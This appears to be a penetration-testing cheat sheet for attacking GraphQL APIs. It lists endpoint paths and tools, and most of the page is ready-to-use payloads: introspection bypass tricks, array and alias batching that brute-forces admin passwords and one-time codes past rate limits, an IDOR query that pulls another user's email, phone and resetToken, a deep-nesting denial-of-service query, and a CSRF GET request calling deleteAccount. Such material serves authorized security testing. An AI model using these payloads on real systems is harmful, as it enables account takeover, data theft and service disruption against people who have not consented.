GraphQL
One endpoint, every object. Authorization is per-resolver, so it is usually inconsistent.
Find the endpoint
/graphql /graphiql /api/graphql /v1/graphql /graphql/console
/index.php?graphql /graphql.php /gql /query /altair /playground# https://github.com/dolevf/graphw00f
graphw00f -f -t https://example.com
# fingerprints the engine, which tells you which bypasses applyIntrospection
curl -s https://example.com/graphql -H 'Content-Type: application/json' \
-d '{"query":"{__schema{queryType{name} types{name fields{name}}}}"}'Blocked? Try these before giving up:
{"query":"{__schema{types{name}}}"} # newline after __schema
{"query":"query{__schema\n{types{name}}}"}
GET /graphql?query={__schema{types{name}}} # method swap
Content-Type: application/x-www-form-urlencoded# rebuild the schema without introspection
# https://github.com/nikitastupin/clairvoyance
clairvoyance -o schema.json -w wordlist.txt https://example.com/graphqlTools
| URL | Description |
|---|---|
| https://github.com/dolevf/graphw00f | Engine fingerprint |
| https://github.com/nikitastupin/clairvoyance | Schema without introspection |
| https://github.com/swisskyrepo/GraphQLmap | Query engine |
| https://github.com/doyensec/inql | Burp extension |
| https://github.com/dolevf/graphql-cop | Quick audit |
Suggestions leak the schema
Even with introspection off, most engines answer with a typo hint:
{"errors":[{"message":"Cannot query field \"usr\" on type \"Query\". Did you mean \"user\"?"}]}Batching bypasses rate limits
Array batching — one HTTP request, N operations. The rate limiter counts one.
[{"query":"mutation{login(user:\"admin\",pass:\"a\"){token}}"},
{"query":"mutation{login(user:\"admin\",pass:\"b\"){token}}"},
{"query":"mutation{login(user:\"admin\",pass:\"c\"){token}}"}]Alias batching does the same inside one document — works where array batching is disabled:
mutation {
a: login(user:"admin", pass:"a") { token }
b: login(user:"admin", pass:"b") { token }
c: login(user:"admin", pass:"c") { token }
}This is the standard 2FA / OTP brute force on GraphQL.
IDOR
Resolvers are authorized individually. Reach a private object through a public one:
{ post(id:1) { author { email phone resetToken } } }Deep nesting DoS
Only report where it is in scope.
{ user { posts { author { posts { author { posts { id } } } } } } }Mutations are the interesting half
Introspect mutationType and read the whole list. Deleted, admin-only and internal mutations are frequently still wired up.
{__schema{mutationType{fields{name args{name type{name}}}}}}CSRF
If the endpoint accepts application/x-www-form-urlencoded or GET, the JSON preflight is gone and CSRF is back on.
GET /graphql?query=mutation{deleteAccount}